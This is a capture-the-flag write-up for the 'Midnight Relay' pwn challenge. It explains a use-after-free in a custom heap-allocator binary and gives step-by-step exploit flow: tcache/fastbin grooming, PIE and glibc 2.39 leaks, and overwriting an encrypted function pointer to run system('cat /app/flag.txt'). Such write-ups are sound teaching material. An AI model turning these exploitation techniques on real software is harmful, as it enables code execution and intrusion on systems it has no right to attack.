Midnight Relay

Bitskrieg CTFby smothy

Midnight Relay - PWN

Points: 499 | Flag: BITSCTF{m1dn1ght_r3l4y_m00nb3ll_st4t3_p1v0t} | Solved by: Smothy @ 0xN1umb

hacker vibes

what we got

Binary + libc + ld from Ubuntu 24.04. The binary is a custom slot-based heap allocator running in a pwn.red/jail with execve/execveat allowed. Pretty heavy protections:

Full RELRO | NX | PIE | SHSTK | IBT

glibc 2.39. No hooks to overwrite. This is gonna be fun.

the binary

Reversed in IDA Pro. It implements a custom protocol over stdin/stdout:

  • 4-byte header: [cmd(u8), mac(u8), length(u16_le)]
  • Payload follows (MAC verified with a rolling hash seeded from epoch)
  • epoch starts at 0x6b1d5a93, updated after each successful command: epoch ^= (cmd << 9) | 0x5F

6 commands:

CmdOpDescription
0x11Alloccalloc(1, size+32), size 128-1312. Writes canary struct at buffer+size
0x22Writememcpy to buffer at offset
0x33Readwrite() from buffer to stdout
0x44Deletefree(buffer) but doesn't null the pointer (UAF!)
0x55UnlockAuthenticate a slot with a key derived from canary/random/epoch
0x66FireCall encrypted function pointer if authenticated

the vuln

Classic UAF. Delete (0x44) frees the buffer but leaves the slot pointer intact. Read (0x33) happily reads from the freed chunk.

canary structure

Each allocation has a 32-byte "canary struct" appended at buffer+size:

[0:8] canary = cookie ^ (struct_addr >> 12) ^ 0x48454C494F5300FF [8:16] encrypted_func = random ^ canary ^ idle_addr ^ (struct_addr >> 13) [16:24] buffer_ptr (self-reference) [24:32] random = rand() | (rand() << 32)

The fire command decrypts the function pointer: func = random ^ encrypted_func ^ canary ^ (struct_addr >> 13). Normally calls idle() (a noop).

the solve

step 1: heap feng shui

The main loop callocs a buffer for each command's payload and frees it after. Since calloc skips tcache but checks fastbin, I needed to fill tcache[0x20] so subsequent frees go to fastbin instead. Sent 8 no-op commands (cmd=0x00, empty payload) to fill tcache[0x20] (7 entries) + fastbin[0x20] (1 entry).

This way, every subsequent command's calloc grabs from fastbin, processes, and frees back to fastbin. The unsorted bin stays untouched.

step 2: PIE leak

Allocate slot 0 (size=0x500) and read the canary struct at offset 0x500:

python
idle_addr = encrypted_func ^ random ^ canary ^ (struct_addr >> 13)
pie_base = idle_addr - 0x17b0

step 3: libc leak (UAF)

Free slot 0 (goes to unsorted bin since size > tcache range). Then read slot 0 at offset 0 - the freed chunk's fd/bk point into main_arena:

python
libc_base = fd - 0x203b20  # unsorted bin offset for glibc 2.39

step 4: hijack function pointer

Allocate slot 2 with "cat /app/flag.txt\0" as initial data. Read its canary struct. Then overwrite only the encrypted_func field:

python
new_encrypted_func = old_encrypted_func ^ idle_addr ^ system_addr

When fire decodes: random ^ new_ef ^ canary ^ (struct>>13) = system_addr

step 5: unlock + fire

Compute the unlock key: lower32(random) ^ lower32(canary) ^ epoch

Fire calls system("cat /app/flag.txt") and we get the flag.

python
# full exploit flow
for i in range(8): send_noop()           # tcache+fastbin fill
alloc(slot=0, size=0x500)                 # target for libc leak
alloc(slot=1, size=0x80)                  # guard chunk
read(slot=0, offset=0x500, len=32)        # PIE leak from canary struct
delete(slot=0)                            # free to unsorted bin
read(slot=0, offset=0, len=16)            # UAF libc leak
alloc(slot=2, size=0x80, init="cat /app/flag.txt\0")
read(slot=2, offset=0x80, len=32)         # read canary struct
write(slot=2, offset=0x88, data=new_ef)   # overwrite encrypted_func
unlock(slot=2, key=computed_key)           # authenticate
fire(slot=2)                              # system("cat /app/flag.txt")

flag

BITSCTF{m1dn1ght_r3l4y_m00nb3ll_st4t3_p1v0t}

ngl the heap feng shui with tcache/fastbin to preserve the unsorted bin chunk was the trickiest part. had to understand exactly how calloc differs from malloc internally (skips tcache, but checks fastbin first). once the leak primitives worked, the function pointer hijack was clean af


smothy out ✌️